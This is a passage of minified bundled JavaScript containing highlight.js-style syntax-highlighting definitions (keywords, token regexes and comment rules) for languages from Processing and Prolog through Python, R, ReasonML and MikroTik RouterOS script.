displayWidth mouseY mouseX mousePressed pmouseX pmouseY key keyCode pixels focused frameCount frameRate height width size createGraphics beginDraw createShape loadShape PShape arc ellipse line point quad rect triangle bezier bezierDetail bezierPoint bezierTangent curve curveDetail curvePoint curveTangent curveTightness shape shapeMode beginContour beginShape bezierVertex curveVertex endContour endShape quadraticVertex vertex ellipseMode noSmooth rectMode smooth strokeCap strokeJoin strokeWeight mouseClicked mouseDragged mouseMoved mousePressed mouseReleased mouseWheel keyPressed keyPressedkeyReleased keyTyped print println save saveFrame day hour millis minute month second year background clear colorMode fill noFill noStroke stroke alpha blue brightness color green hue lerpColor red saturation modelX modelY modelZ screenX screenY screenZ ambient emissive shininess specular add createImage beginCamera camera endCamera frustum ortho perspective printCamera printProjection cursor frameRate noCursor exit loop noLoop popStyle pushStyle redraw binary boolean byte char float hex int str unbinary unhex join match matchAll nf nfc nfp nfs split splitTokens trim append arrayCopy concat expand reverse shorten sort splice subset box sphere sphereDetail createInput createReader loadBytes loadJSONArray loadJSONObject loadStrings loadTable loadXML open parseXML saveTable selectFolder selectInput beginRaw beginRecord createOutput createWriter endRaw endRecord PrintWritersaveBytes saveJSONArray saveJSONObject saveStream saveStrings saveXML selectOutput popMatrix printMatrix pushMatrix resetMatrix rotate rotateX rotateY rotateZ scale shearX shearY translate ambientLight directionalLight lightFalloff lights lightSpecular noLights normal pointLight spotLight image imageMode loadImage noTint requestImage tint texture textureMode textureWrap blend copy filter get loadPixels set updatePixels blendMode loadShader PShaderresetShader shader createFont loadFont text textFont textAlign textLeading textMode textSize textWidth textAscent textDescent abs ceil constrain dist exp floor lerp log mag map max min norm pow round sq sqrt acos asin atan atan2 cos degrees radians sin tan noise noiseDetail noiseSeed random randomGaussian randomSeed"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE]}}HX8.exports=Pfq});var XX8=v((GLz,OX8)=>{function Vfq(A){return{name:"Python profiler",contains:[A.C_NUMBER_MODE,{begin:"[a-zA-Z_][\\da-zA-Z_]+\\.[\\da-zA-Z_]{1,3}",end:":",excludeEnd:!0},{begin:"(ncalls|tottime|cumtime)",end:"$",keywords:"ncalls tottime|10 cumtime|10 filename",relevance:10},{begin:"function calls",end:"$",contains:[A.C_NUMBER_MODE],relevance:10},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{className:"string",begin:"\\(",end:"\\)$",excludeBegin:!0,excludeEnd:!0,relevance:0}]}}OX8.exports=Vfq});var _X8=v((ZLz,$X8)=>{function ffq(A){let K={begin:/[a-z][A-Za-z0-9_]*/,relevance:0},q={className:"symbol",variants:[{begin:/[A-Z][a-zA-Z0-9_]*/},{begin:/_[A-Za-z0-9_]*/}],relevance:0},Y={begin:/\(/,end:/\)/,relevance:0},z={begin:/\[/,end:/\]/},w={className:"comment",begin:/%/,end:/$/,contains:[A.PHRASAL_WORDS_MODE]},H={className:"string",begin:/`/,end:/`/,contains:[A.BACKSLASH_ESCAPE]},J={className:"string",begin:/0'(\\'|.)/},O={className:"string",begin:/0'\\s/},$=[K,q,Y,{begin:/:-/},z,w,A.C_BLOCK_COMMENT_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,H,J,O,A.C_NUMBER_MODE];return Y.contains=$,z.contains=$,{name:"Prolog",contains:$.concat([{begin:/\.$/}])}}$X8.exports=ffq});var ZX8=v((WLz,GX8)=>{function Nfq(A){var K="[ \\t\\f]*",q="[ \\t\\f]+",Y=K+"[:=]"+K,z=q,w="("+Y+"|"+z+")",H="([^\\\\\\W:= \\t\\f\\n]|\\\\.)+",J="([^\\\\:= \\t\\f\\n]|\\\\.)+",O={end:w,relevance:0,starts:{className:"string",end:/$/,relevance:0,contains:[{begin:"\\\\\\\\"},{begin:"\\\\\\n"}]}};return{name:".properties",case_insensitive:!0,illegal:/\S/,contains:[A.COMMENT("^\\s*[!#]","$"),{returnBegin:!0,variants:[{begin:H+Y,relevance:1},{begin:H+z,relevance:0}],contains:[{className:"attr",begin:H,endsParent:!0,relevance:0}],starts:O},{begin:J+w,returnBegin:!0,relevance:0,contains:[{className:"meta",begin:J,endsParent:!0,relevance:0}],starts:O},{className:"attr",relevance:0,begin:J+K+"$"}]}}GX8.exports=Nfq});var DX8=v((DLz,WX8)=>{function Tfq(A){return{name:"Protocol Buffers",keywords:{keyword:"package import option optional required repeated group oneof",built_in:"double float int32 int64 uint32 uint64 sint32 sint64 fixed32 fixed64 sfixed32 sfixed64 bool string bytes",literal:"true false"},contains:[A.QUOTE_STRING_MODE,A.NUMBER_MODE,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"class",beginKeywords:"message enum service",end:/\{/,illegal:/\n/,contains:[A.inherit(A.TITLE_MODE,{starts:{endsWithParent:!0,excludeEnd:!0}})]},{className:"function",beginKeywords:"rpc",end:/[{;]/,excludeEnd:!0,keywords:"rpc returns"},{begin:/^\s*[A-Z_]+(?=\s*=[^\n]+;$)/}]}}WX8.exports=Tfq});var MX8=v((jLz,jX8)=>{function vfq(A){let K={keyword:"and case default else elsif false if in import enherits node or true undef unless main settings $string ",literal:"alias audit before loglevel noop require subscribe tag owner ensure group mode name|0 changes context force incl lens load_path onlyif provider returns root show_diff type_check en_address ip_address realname command environment hour monute month monthday special target weekday creates cwd ogoutput refresh refreshonly tries try_sleep umask backup checksum content ctime force ignore links mtime purge recurse recurselimit replace selinux_ignore_defaults selrange selrole seltype seluser source souirce_permissions sourceselect validate_cmd validate_replacement allowdupe attribute_membership auth_membership forcelocal gid ia_load_module members system host_aliases ip allowed_trunk_vlans description device_url duplex encapsulation etherchannel native_vlan speed principals allow_root auth_class auth_type authenticate_user k_of_n mechanisms rule session_owner shared options device fstype enable hasrestart directory present absent link atboot blockdevice device dump pass remounts poller_tag use message withpath adminfile allow_virtual allowcdrom category configfiles flavor install_options instance package_settings platform responsefile status uninstall_options vendor unless_system_user unless_uid binary control flags hasstatus manifest pattern restart running start stop allowdupe auths expiry gid groups home iterations key_membership keys managehome membership password password_max_age password_min_age profile_membership profiles project purge_ssh_keys role_membership roles salt shell uid baseurl cost descr enabled enablegroups exclude failovermethod gpgcheck gpgkey http_caching include includepkgs keepalive metadata_expire metalink mirrorlist priority protect proxy proxy_password proxy_username repo_gpgcheck s3_enabled skip_if_unavailable sslcacert sslclientcert sslclientkey sslverify mounted",built_in:"architecture augeasversion blockdevices boardmanufacturer boardproductname boardserialnumber cfkey dhcp_servers domain ec2_ ec2_userdata facterversion filesystems ldom fqdn gid hardwareisa hardwaremodel hostname id|0 interfaces ipaddress ipaddress_ ipaddress6 ipaddress6_ iphostnumber is_virtual kernel kernelmajversion kernelrelease kernelversion kernelrelease kernelversion lsbdistcodename lsbdistdescription lsbdistid lsbdistrelease lsbmajdistrelease lsbminordistrelease lsbrelease macaddress macaddress_ macosx_buildversion macosx_productname macosx_productversion macosx_productverson_major macosx_productversion_minor manufacturer memoryfree memorysize netmask metmask_ network_ operatingsystem operatingsystemmajrelease operatingsystemrelease osfamily partitions path physicalprocessorcount processor processorcount productname ps puppetversion rubysitedir rubyversion selinux selinux_config_mode selinux_config_policy selinux_current_mode selinux_current_mode selinux_enforced selinux_policyversion serialnumber sp_ sshdsakey sshecdsakey sshrsakey swapencrypted swapfree swapsize timezone type uniqueid uptime uptime_days uptime_hours uptime_seconds uuid virtual vlans xendomains zfs_version zonenae zones zpool_version"},q=A.COMMENT("#","$"),Y="([A-Za-z_]|::)(\\w|::)*",z=A.inherit(A.TITLE_MODE,{begin:"([A-Za-z_]|::)(\\w|::)*"}),w={className:"variable",begin:"\\$([A-Za-z_]|::)(\\w|::)*"},H={className:"string",contains:[A.BACKSLASH_ESCAPE,w],variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/}]};return{name:"Puppet",aliases:["pp"],contains:[q,w,H,{beginKeywords:"class",end:"\\{|;",illegal:/=/,contains:[z,q]},{beginKeywords:"define",end:/\{/,contains:[{className:"section",begin:A.IDENT_RE,endsParent:!0}]},{begin:A.IDENT_RE+"\\s+\\{",returnBegin:!0,end:/\S/,contains:[{className:"keyword",begin:A.IDENT_RE},{begin:/\{/,end:/\}/,keywords:K,relevance:0,contains:[H,q,{begin:"[a-zA-Z_]+\\s*=>",returnBegin:!0,end:"=>",contains:[{className:"attr",begin:A.IDENT_RE}]},{className:"number",begin:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",relevance:0},w]}],relevance:0}]}}jX8.exports=vfq});var VX8=v((MLz,PX8)=>{function Efq(A){let K={className:"string",begin:'(~)?"',end:'"',illegal:"\\n"},q={className:"symbol",begin:"#[a-zA-Z_]\\w*\\$?"};return{name:"PureBASIC",aliases:["pb","pbi"],keywords:"Align And Array As Break CallDebugger Case CompilerCase CompilerDefault CompilerElse CompilerElseIf CompilerEndIf CompilerEndSelect CompilerError CompilerIf CompilerSelect CompilerWarning Continue Data DataSection Debug DebugLevel Declare DeclareC DeclareCDLL DeclareDLL DeclareModule Default Define Dim DisableASM DisableDebugger DisableExplicit Else ElseIf EnableASM EnableDebugger EnableExplicit End EndDataSection EndDeclareModule EndEnumeration EndIf EndImport EndInterface EndMacro EndModule EndProcedure EndSelect EndStructure EndStructureUnion EndWith Enumeration EnumerationBinary Extends FakeReturn For ForEach ForEver Global Gosub Goto If Import ImportC IncludeBinary IncludeFile IncludePath Interface List Macro MacroExpandedCount Map Module NewList NewMap Next Not Or Procedure ProcedureC ProcedureCDLL ProcedureDLL ProcedureReturn Protected Prototype PrototypeC ReDim Read Repeat Restore Return Runtime Select Shared Static Step Structure StructureUnion Swap Threaded To UndefineMacro Until Until UnuseModule UseModule Wend While With XIncludeFile XOr",contains:[A.COMMENT(";","$",{relevance:0}),{className:"function",begin:"\\b(Procedure|Declare)(C|CDLL|DLL)?\\b",end:"\\(",excludeEnd:!0,returnBegin:!0,contains:[{className:"keyword",begin:"(Procedure|Declare)(C|CDLL|DLL)?",excludeEnd:!0},{className:"type",begin:"\\.\\w*"},A.UNDERSCORE_TITLE_MODE]},K,q]}}PX8.exports=Efq});var NX8=v((PLz,fX8)=>{function kfq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Cfq(A){return Lfq("(?=",A,")")}function Lfq(...A){return A.map((q)=>kfq(q)).join("")}function Rfq(A){let w={$pattern:/[A-Za-z]\w+|__\w+__/,keyword:["and","as","assert","async","await","break","class","continue","def","del","elif","else","except","finally","for","from","global","if","import","in","is","lambda","nonlocal|10","not","or","pass","raise","return","try","while","with","yield"],built_in:["__import__","abs","all","any","ascii","bin","bool","breakpoint","bytearray","bytes","callable","chr","classmethod","compile","complex","delattr","dict","dir","divmod","enumerate","eval","exec","filter","float","format","frozenset","getattr","globals","hasattr","hash","help","hex","id","input","int","isinstance","issubclass","iter","len","list","locals","map","max","memoryview","min","next","object","oct","open","ord","pow","print","property","range","repr","reversed","round","set","setattr","slice","sorted","staticmethod","str","sum","super","tuple","type","vars","zip"],literal:["__debug__","Ellipsis","False","None","NotImplemented","True"],type:["Any","Callable","Coroutine","Dict","List","Literal","Generic","Optional","Sequence","Set","Tuple","Type","Union"]},H={className:"meta",begin:/^(>>>|\.\.\.) /},J={className:"subst",begin:/\{/,end:/\}/,keywords:w,illegal:/#/},O={begin:/\{\{/,relevance:0},X={className:"string",contains:[A.BACKSLASH_ESCAPE],variants:[{begin:/([uU]|[bB]|[rR]|[bB][rR]|[rR][bB])?'''/,end:/'''/,contains:[A.BACKSLASH_ESCAPE,H],relevance:10},{begin:/([uU]|[bB]|[rR]|[bB][rR]|[rR][bB])?"""/,end:/"""/,contains:[A.BACKSLASH_ESCAPE,H],relevance:10},{begin:/([fF][rR]|[rR][fF]|[fF])'''/,end:/'''/,contains:[A.BACKSLASH_ESCAPE,H,O,J]},{begin:/([fF][rR]|[rR][fF]|[fF])"""/,end:/"""/,contains:[A.BACKSLASH_ESCAPE,H,O,J]},{begin:/([uU]|[rR])'/,end:/'/,relevance:10},{begin:/([uU]|[rR])"/,end:/"/,relevance:10},{begin:/([bB]|[bB][rR]|[rR][bB])'/,end:/'/},{begin:/([bB]|[bB][rR]|[rR][bB])"/,end:/"/},{begin:/([fF][rR]|[rR][fF]|[fF])'/,end:/'/,contains:[A.BACKSLASH_ESCAPE,O,J]},{begin:/([fF][rR]|[rR][fF]|[fF])"/,end:/"/,contains:[A.BACKSLASH_ESCAPE,O,J]},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]},$="[0-9](_?[0-9])*",_="(\\b([0-9](_?[0-9])*))?\\.([0-9](_?[0-9])*)|\\b([0-9](_?[0-9])*)\\.",G={className:"number",relevance:0,variants:[{begin:"(\\b([0-9](_?[0-9])*)|((\\b([0-9](_?[0-9])*))?\\.([0-9](_?[0-9])*)|\\b([0-9](_?[0-9])*)\\.))[eE][+-]?([0-9](_?[0-9])*)[jJ]?\\b"},{begin:"((\\b([0-9](_?[0-9])*))?\\.([0-9](_?[0-9])*)|\\b([0-9](_?[0-9])*)\\.)[jJ]?"},{begin:"\\b([1-9](_?[0-9])*|0+(_?0)*)[lLjJ]?\\b"},{begin:"\\b0[bB](_?[01])+[lL]?\\b"},{begin:"\\b0[oO](_?[0-7])+[lL]?\\b"},{begin:"\\b0[xX](_?[0-9a-fA-F])+[lL]?\\b"},{begin:"\\b([0-9](_?[0-9])*)[jJ]\\b"}]},Z={className:"comment",begin:Cfq(/# type:/),end:/$/,keywords:w,contains:[{begin:/# type:/},{begin:/#/,end:/\b\B/,endsWithParent:!0}]},W={className:"params",variants:[{className:"",begin:/\(\s*\)/,skip:!0},{begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:w,contains:["self",H,G,X,A.HASH_COMMENT_MODE]}]};return J.contains=[X,G,H],{name:"Python",aliases:["py","gyp","ipython"],keywords:w,illegal:/(<\/|->|\?)|=>/,contains:[H,G,{begin:/\bself\b/},{beginKeywords:"if",relevance:0},X,Z,A.HASH_COMMENT_MODE,{variants:[{className:"function",beginKeywords:"def"},{className:"class",beginKeywords:"class"}],end:/:/,illegal:/[${=;\n,]/,contains:[A.UNDERSCORE_TITLE_MODE,W,{begin:/->/,endsWithParent:!0,keywords:w}]},{className:"meta",begin:/^[\t ]*@/,end:/(?=#)|$/,contains:[G,W,X]}]}}fX8.exports=Rfq});var vX8=v((VLz,TX8)=>{function yfq(A){return{aliases:["pycon"],contains:[{className:"meta",starts:{end:/ |$/,starts:{end:"$",subLanguage:"python"}},variants:[{begin:/^>>>(?=[ ]|$)/},{begin:/^\.\.\.(?=[ ]|$)/}]}]}}TX8.exports=yfq});var kX8=v((fLz,EX8)=>{function Ifq(A){return{name:"Q",aliases:["k","kdb"],keywords:{$pattern:/(`?)[A-Za-z0-9_]+\b/,keyword:"do while select delete by update from",literal:"0b 1b",built_in:"neg not null string reciprocal floor ceiling signum mod xbar xlog and or each scan over prior mmu lsq inv md5 ltime gtime count first var dev med cov cor all any rand sums prds mins maxs fills deltas ratios avgs differ prev next rank reverse iasc idesc asc desc msum mcount mavg mdev xrank mmin mmax xprev rotate distinct group where flip type key til get value attr cut set upsert raze union inter except cross sv vs sublist enlist read0 read1 hopen hclose hdel hsym hcount peach system ltrim rtrim trim lower upper ssr view tables views cols xcols keys xkey xcol xasc xdesc fkeys meta lj aj aj0 ij pj asof uj ww wj wj1 fby xgroup ungroup ej save load rsave rload show csv parse eval min max avg wavg wsum sin cos tan sum",type:"`float `double int `timestamp `timespan `datetime `time `boolean `symbol `char `byte `short `long `real `month `date `minute `second `guid"},contains:[A.C_LINE_COMMENT_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE]}}EX8.exports=Ifq});var LX8=v((NLz,CX8)=>{function Sfq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function hfq(...A){return A.map((q)=>Sfq(q)).join("")}function bfq(A){let K={keyword:"in of on if for while finally var new function do return void else break catch instanceof with throw case default try this switch continue typeof delete let yield const export super debugger as async await import",literal:"true false null undefined NaN Infinity",built_in:"eval isFinite isNaN parseFloat parseInt decodeURI decodeURIComponent encodeURI encodeURIComponent escape unescape Object Function Boolean Error EvalError InternalError RangeError ReferenceError StopIteration SyntaxError TypeError URIError Number Math Date String RegExp Array Float32Array Float64Array Int16Array Int32Array Int8Array Uint16Array Uint32Array Uint8Array Uint8ClampedArray ArrayBuffer DataView JSON Intl arguments require module console window document Symbol Set Map WeakSet WeakMap Proxy Reflect Behavior bool color coordinate date double enumeration font geocircle georectangle geoshape int list matrix4x4 parent point quaternion real rect size string url variant vector2d vector3d vector4d Promise"},q="[a-zA-Z_][a-zA-Z0-9\\._]*",Y={className:"keyword",begin:"\\bproperty\\b",starts:{className:"string",end:"(:|=|;|,|//|/\\*|$)",returnEnd:!0}},z={className:"keyword",begin:"\\bsignal\\b",starts:{className:"string",end:"(\\(|:|=|;|,|//|/\\*|$)",returnEnd:!0}},w={className:"attribute",begin:"\\bid\\s*:",starts:{className:"string",end:"[a-zA-Z_][a-zA-Z0-9\\._]*",returnEnd:!1}},H={begin:"[a-zA-Z_][a-zA-Z0-9\\._]*\\s*:",returnBegin:!0,contains:[{className:"attribute",begin:"[a-zA-Z_][a-zA-Z0-9\\._]*",end:"\\s*:",excludeEnd:!0,relevance:0}],relevance:0},J={begin:hfq("[a-zA-Z_][a-zA-Z0-9\\._]*",/\s*\{/),end:/\{/,returnBegin:!0,relevance:0,contains:[A.inherit(A.TITLE_MODE,{begin:"[a-zA-Z_][a-zA-Z0-9\\._]*"})]};return{name:"QML",aliases:["qt"],case_insensitive:!1,keywords:K,contains:[{className:"meta",begin:/^\s*['"]use (strict|asm)['"]/},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{className:"string",begin:"`",end:"`",contains:[A.BACKSLASH_ESCAPE,{className:"subst",begin:"\\$\\{",end:"\\}"}]},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"number",variants:[{begin:"\\b(0[bB][01]+)"},{begin:"\\b(0[oO][0-7]+)"},{begin:A.C_NUMBER_RE}],relevance:0},{begin:"("+A.RE_STARTERS_RE+"|\\b(case|return|throw)\\b)\\s*",keywords:"return throw case",contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.REGEXP_MODE,{begin:/</,end:/>\s*[);\]]/,relevance:0,subLanguage:"xml"}],relevance:0},z,Y,{className:"function",beginKeywords:"function",end:/\{/,excludeEnd:!0,contains:[A.inherit(A.TITLE_MODE,{begin:/[A-Za-z$_][0-9A-Za-z$_]*/}),{className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]}],illegal:/\[|%/},{begin:"\\."+A.IDENT_RE,relevance:0},w,H,J],illegal:/#/}}CX8.exports=bfq});var yX8=v((TLz,RX8)=>{function xfq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function ufq(A){return Dx1("(?=",A,")")}function Dx1(...A){return A.map((q)=>xfq(q)).join("")}function Bfq(A){let K=/(?:(?:[a-zA-Z]|\.[._a-zA-Z])[._a-zA-Z0-9]*)|\.(?!\d)/,q=/[a-zA-Z][a-zA-Z_0-9]*/;return{name:"R",illegal:/->/,keywords:{$pattern:K,keyword:"function if in break next repeat else for while",literal:"NULL NA TRUE FALSE Inf NaN NA_integer_|10 NA_real_|10 NA_character_|10 NA_complex_|10",built_in:"LETTERS letters month.abb month.name pi T F abs acos acosh all any anyNA Arg as.call as.character as.complex as.double as.environment as.integer as.logical as.null.default as.numeric as.raw asin asinh atan atanh attr attributes baseenv browser c call ceiling class Conj cos cosh cospi cummax cummin cumprod cumsum digamma dim dimnames emptyenv exp expression floor forceAndCall gamma gc.time globalenv Im interactive invisible is.array is.atomic is.call is.character is.complex is.double is.environment is.expression is.finite is.function is.infinite is.integer is.language is.list is.logical is.matrix is.na is.name is.nan is.null is.numeric is.object is.pairlist is.raw is.recursive is.single is.symbol lazyLoadDBfetch length lgamma list log max min missing Mod names nargs nzchar oldClass on.exit pos.to.env proc.time prod quote range Re rep retracemem return round seq_along seq_len seq.int sign signif sin sinh sinpi sqrt standardGeneric substitute sum switch tan tanh tanpi tracemem trigamma trunc unclass untracemem UseMethod xtfrm"},compilerExtensions:[(Y,z)=>{if(!Y.beforeMatch)return;if(Y.starts)throw Error("beforeMatch cannot be used with starts");let w=Object.assign({},Y);Object.keys(Y).forEach((H)=>{delete Y[H]}),Y.begin=Dx1(w.beforeMatch,ufq(w.begin)),Y.starts={relevance:0,contains:[Object.assign(w,{endsParent:!0})]},Y.relevance=0,delete w.beforeMatch}],contains:[A.COMMENT(/#'/,/$/,{contains:[{className:"doctag",begin:"@examples",starts:{contains:[{begin:/\n/},{begin:/#'\s*(?=@[a-zA-Z]+)/,endsParent:!0},{begin:/#'/,end:/$/,excludeBegin:!0}]}},{className:"doctag",begin:"@param",end:/$/,contains:[{className:"variable",variants:[{begin:K},{begin:/`(?:\\.|[^`\\])+`/}],endsParent:!0}]},{className:"doctag",begin:/@[a-zA-Z]+/},{className:"meta-keyword",begin:/\\[a-zA-Z]+/}]}),A.HASH_COMMENT_MODE,{className:"string",contains:[A.BACKSLASH_ESCAPE],variants:[A.END_SAME_AS_BEGIN({begin:/[rR]"(-*)\(/,end:/\)(-*)"/}),A.END_SAME_AS_BEGIN({begin:/[rR]"(-*)\{/,end:/\}(-*)"/}),A.END_SAME_AS_BEGIN({begin:/[rR]"(-*)\[/,end:/\](-*)"/}),A.END_SAME_AS_BEGIN({begin:/[rR]'(-*)\(/,end:/\)(-*)'/}),A.END_SAME_AS_BEGIN({begin:/[rR]'(-*)\{/,end:/\}(-*)'/}),A.END_SAME_AS_BEGIN({begin:/[rR]'(-*)\[/,end:/\](-*)'/}),{begin:'"',end:'"',relevance:0},{begin:"'",end:"'",relevance:0}]},{className:"number",relevance:0,beforeMatch:/([^a-zA-Z0-9._])/,variants:[{match:/0[xX][0-9a-fA-F]+\.[0-9a-fA-F]*[pP][+-]?\d+i?/},{match:/0[xX][0-9a-fA-F]+([pP][+-]?\d+)?[Li]?/},{match:/(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?[Li]?/}]},{begin:"%",end:"%"},{begin:Dx1(q,"\\s+<-\\s+")},{begin:"`",end:"`",contains:[{begin:/\\./}]}]}}RX8.exports=Bfq});var SX8=v((vLz,IX8)=>{function mfq(A){function K(T){return T.map(function(C){return C.split("").map(function(R){return"\\"+R}).join("")}).join("|")}let q="~?[a-z$_][0-9a-zA-Z$_]*",Y="`?[A-Z$_][0-9a-zA-Z$_]*",z="'?[a-z$_][0-9a-z$_]*",w="\\s*:\\s*[a-z$_][0-9a-z$_]*(\\(\\s*("+z+"\\s*(,"+z+"\\s*)*)?\\))?",H=q+"("+w+"){0,2}",J="("+K(["||","++","**","+.","*","/","*.","/.","..."])+"|\\|>|&&|==|===)",O="\\s+"+J+"\\s+",X={keyword:"and as asr assert begin class constraint do done downto else end exception external for fun function functor if in include inherit initializer land lazy let lor lsl lsr lxor match method mod module mutable new nonrec object of open or private rec sig struct then to try type val virtual when while with",built_in:"array bool bytes char exn|5 float int int32 int64 list lazy_t|5 nativeint|5 ref string unit ",literal:"true false"},$="\\b(0[xX][a-fA-F0-9_]+[Lln]?|0[oO][0-7_]+[Lln]?|0[bB][01_]+[Lln]?|[0-9][0-9_]*([Lln]|(\\.[0-9_]*)?([eE][-+]?[0-9_]+)?)?)",_={className:"number",relevance:0,variants:[{begin:$},{begin:"\\(-"+$+"\\)"}]},G={className:"operator",relevance:0,begin:J},Z=[{className:"identifier",relevance:0,begin:q},G,_],W=[A.QUOTE_STRING_MODE,G,{className:"module",begin:"\\b"+Y,returnBegin:!0,end:".",contains:[{className:"identifier",begin:Y,relevance:0}]}],D=[{className:"module",begin:"\\b"+Y,returnBegin:!0,end:".",relevance:0,contains:[{className:"identifier",begin:Y,relevance:0}]}],j={begin:q,end:"(,|\\n|\\))",relevance:0,contains:[G,{className:"typing",begin:":",end:"(,|\\n)",returnBegin:!0,relevance:0,contains:D}]},M={className:"function",relevance:0,keywords:X,variants:[{begin:"\\s(\\(\\.?.*?\\)|"+q+")\\s*=>",end:"\\s*=>",returnBegin:!0,relevance:0,contains:[{className:"params",variants:[{begin:q},{begin:H},{begin:/\(\s*\)/}]}]},{begin:"\\s\\(\\.?[^;\\|]*\\)\\s*=>",end:"\\s=>",returnBegin:!0,relevance:0,contains:[{className:"params",relevance:0,variants:[j]}]},{begin:"\\(\\.\\s"+q+"\\)\\s*=>"}]};W.push(M);let P={className:"constructor",begin:Y+"\\(",end:"\\)",illegal:"\\n",keywords:X,contains:[A.QUOTE_STRING_MODE,G,{className:"params",begin:"\\b"+q}]},f={className:"pattern-match",begin:"\\|",returnBegin:!0,keywords:X,end:"=>",relevance:0,contains:[P,G,{relevance:0,className:"constructor",begin:Y}]},N={className:"module-access",keywords:X,returnBegin:!0,variants:[{begin:"\\b("+Y+"\\.)+"+q},{begin:"\\b("+Y+"\\.)+\\(",end:"\\)",returnBegin:!0,contains:[M,{begin:"\\(",end:"\\)",skip:!0}].concat(W)},{begin:"\\b("+Y+"\\.)+\\{",end:/\}/}],contains:W};return D.push(N),{name:"ReasonML",aliases:["re"],keywords:X,illegal:"(:-|:=|\\$\\{|\\+=)",contains:[A.COMMENT("/\\*","\\*/",{illegal:"^(#,\\/\\/)"}),{className:"character",begin:"'(\\\\[^']+|[^'])'",illegal:"\\n",relevance:0},A.QUOTE_STRING_MODE,{className:"literal",begin:"\\(\\)",relevance:0},{className:"literal",begin:"\\[\\|",end:"\\|\\]",relevance:0,contains:Z},{className:"literal",begin:"\\[",end:"\\]",relevance:0,contains:Z},P,{className:"operator",begin:O,illegal:"-->",relevance:0},_,A.C_LINE_COMMENT_MODE,f,M,{className:"module-def",begin:"\\bmodule\\s+"+q+"\\s+"+Y+"\\s+=\\s+\\{",end:/\}/,returnBegin:!0,keywords:X,relevance:0,contains:[{className:"module",relevance:0,begin:Y},{begin:/\{/,end:/\}/,skip:!0}].concat(W)},N]}}IX8.exports=mfq});var bX8=v((ELz,hX8)=>{function gfq(A){return{name:"RenderMan RIB",keywords:"ArchiveRecord AreaLightSource Atmosphere Attribute AttributeBegin AttributeEnd Basis Begin Blobby Bound Clipping ClippingPlane Color ColorSamples ConcatTransform Cone CoordinateSystem CoordSysTransform CropWindow Curves Cylinder DepthOfField Detail DetailRange Disk Displacement Display End ErrorHandler Exposure Exterior Format FrameAspectRatio FrameBegin FrameEnd GeneralPolygon GeometricApproximation Geometry Hider Hyperboloid Identity Illuminate Imager Interior LightSource MakeCubeFaceEnvironment MakeLatLongEnvironment MakeShadow MakeTexture Matte MotionBegin MotionEnd NuPatch ObjectBegin ObjectEnd ObjectInstance Opacity Option Orientation Paraboloid Patch PatchMesh Perspective PixelFilter PixelSamples PixelVariance Points PointsGeneralPolygons PointsPolygons Polygon Procedural Projection Quantize ReadArchive RelativeDetail ReverseOrientation Rotate Scale ScreenWindow ShadingInterpolation ShadingRate Shutter Sides Skew SolidBegin SolidEnd Sphere SubdivisionMesh Surface TextureCoordinates Torus Transform TransformBegin TransformEnd TransformPoints Translate TrimCurve WorldBegin WorldEnd",illegal:"</",contains:[A.HASH_COMMENT_MODE,A.C_NUMBER_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]}}hX8.exports=gfq});var uX8=v((kLz,xX8)=>{function Ffq(A){let q={className:"attribute",begin:/[a-zA-Z-_]+/,end:/\s*:/,excludeEnd:!0,starts:{end:";",relevance:0,contains:[{className:"variable",begin:/\.[a-zA-Z-_]+/},{className:"keyword",begin:/\(optional\)/}]}};return{name:"Roboconf",aliases:["graph","instances"],case_insensitive:!0,keywords:"import",contains:[{begin:"^facet [a-zA-Z-_][^\\n{]+\\{",end:/\}/,keywords:"facet",contains:[q,A.HASH_COMMENT_MODE]},{begin:"^\\s*instance of [a-zA-Z-_][^\\n{]+\\{",end:/\}/,keywords:"name count channels instance-data instance-state instance of",illegal:/\S/,contains:["self",q,A.HASH_COMMENT_MODE]},{begin:"^[a-zA-Z-_][^\\n{]+\\{",end:/\}/,contains:[q,A.HASH_COMMENT_MODE]},A.HASH_COMMENT_MODE]}}xX8.exports=Ffq});var mX8=v((CLz,BX8)=>{function Qfq(A){let H={className:"variable",variants:[{begin:/\$[\w\d#@][\w\d_]*/},{begin:/\$\{(.*?)\}/}]},J={className:"string",begin:/"/,end:/"/,contains:[A.BACKSLASH_ESCAPE,H,{className:"variable",begin:/\$\(/,end:/\)/,contains:[A.BACKSLASH_ESCAPE]}]},O={className:"string",begin:/'/,end:/'/};return{name:"Microtik RouterOS script",aliases:["mikrotik"],case_insensitive:!0,keywords:{$pattern:/:?[\w-]+/,literal:"true false yes no nothing nil null",keyword:"foreach do while for if from to step else on-error and or not in :"+"foreach do while for if from to step else on-error and or not in".split(" ").join(" :")+" :"+"global local beep delay put len typeof pick log time set find environment terminal error execute parse resolve toarray tobool toid toip toip6 tonum tostr totime".split(" ").join(" :")},contains:[{variants:[{begin:/\/\*/,end:/\*\//},{begin:/\/\//,end:/$/},{begin:/<\//,end:/>/}],illegal:/./},A.COMMENT("^#","$"),J,O,H,{begin:/[\w-]+=([^\s{}[\]()>]+)/,relevance:0,returnBegin:!0,contains:[{className:"attribute",begin:/[^=]+/},{begin:/=/,endsWithParent:!0,relevance:0,contains:[J,O,H,{className:"literal",begin:"\\b("+"true false yes no nothing nil null".split(" 